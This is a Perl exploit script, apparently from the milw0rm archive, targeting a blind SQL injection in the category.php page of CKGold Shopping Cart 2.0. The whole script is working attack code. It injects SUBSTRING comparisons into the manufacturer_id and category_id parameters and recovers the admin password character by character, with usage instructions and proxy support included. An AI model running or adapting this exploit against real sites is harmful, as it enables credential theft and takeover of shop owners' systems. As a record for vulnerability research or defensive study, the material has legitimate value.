CKGold Shopping Cart 2.0 - 'category.php' Blind SQL Injection

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[4])
{
 print "\n  |-------------------------------------------------|";
 print "\n  |                newhack[dot]org                  |";
 print "\n  |-------------------------------------------------|";
 print "\n  |  CKGold Shopping Cart v2.0 Blind SQL Injection  |";
 print "\n  |          Found by k1tk4t - Indonesia            |";
 print "\n  |   DNX Code  dnx[at]hackermail.com | Modified    |";
 print "\n  |-------------------------------------------------|";
 print "\n[!] Vendor: http://www.cartkeeper.com";
 print "\n[!] Usage: perl CKGold.pl [Host] [Path] <Options>";
 print "\n[!] Example: perl CKGold.pl 127.0.0.1 /shop/ -m 1 -c 10 -t tbl_system";
 print "\n[!] Options:";
 print "\n       -m [no]       Valid manufacturer_id";
 print "\n       -c [no]       Valid category_id";
 print "\n       -t [name]     Changes the system table name, default is tbl_system";
 print "\n       -p [ip:port]  Proxy support";
 print "\n";
 exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $mfr     = $ARGV[2];
my $cat     = $ARGV[3];
my $table   = "tbl_system";
my %options = ();
GetOptions(\%options, "m=i", "c=i", "t=s", "p=s");

print "[!] Exploiting...\n";

if($options{"m"}) { $mfr = $options{"m"}; }
if($options{"c"}) { $cat = $options{"c"}; }
if($options{"t"}) { $table = $options{"t"}; }

syswrite(STDOUT, "[!] Admin Password : ", 21);

for(my $i = 1; $i <= 32; $i++)
{
 my $found = 0;
 my $h = 48;
 while(!$found && $h <= 57)
 {
   if(istrue2($host, $path, $table, $i, $h))
   {
     $found = 1;
     syswrite(STDOUT, chr($h), 1);
   }
   $h++;
 }
 if(!$found)
 {
   $h = 97;
   while(!$found && $h <= 122)
   {
     if(istrue2($host, $path, $table, $i, $h))
     {
       $found = 1;
       syswrite(STDOUT, chr($h), 1);
     }
     $h++;
   }
 }
}

print "\n[!] Exploit done\n";

sub istrue2
{
 my $host  = shift;
 my $path  = shift;
 my $table = shift;
 my $i     = shift;
 my $h     = shift;

 my $ua = LWP::UserAgent->new;
 my $url = "http://".$host.$path."category.php?manufacturer_id=".$mfr."&category_id=".$cat."%20AND%20SUBSTRING((SELECT%20admin_password%20FROM%20".$table."%20LIMIT%200,1),".$i.",1)=CHAR(".$h.")";

 if($options{"p"})
 {
   $ua->proxy('http', "http://".$options{"p"});
 }

 my $response = $ua->get($url);
 my $content = $response->content;
 my $regexp = "<th>Products</th>";

 if($content =~ /$regexp/)
 {
   return 1;
 }
 else
 {
   return 0;
 }
}

# milw0rm.com [2007-08-31]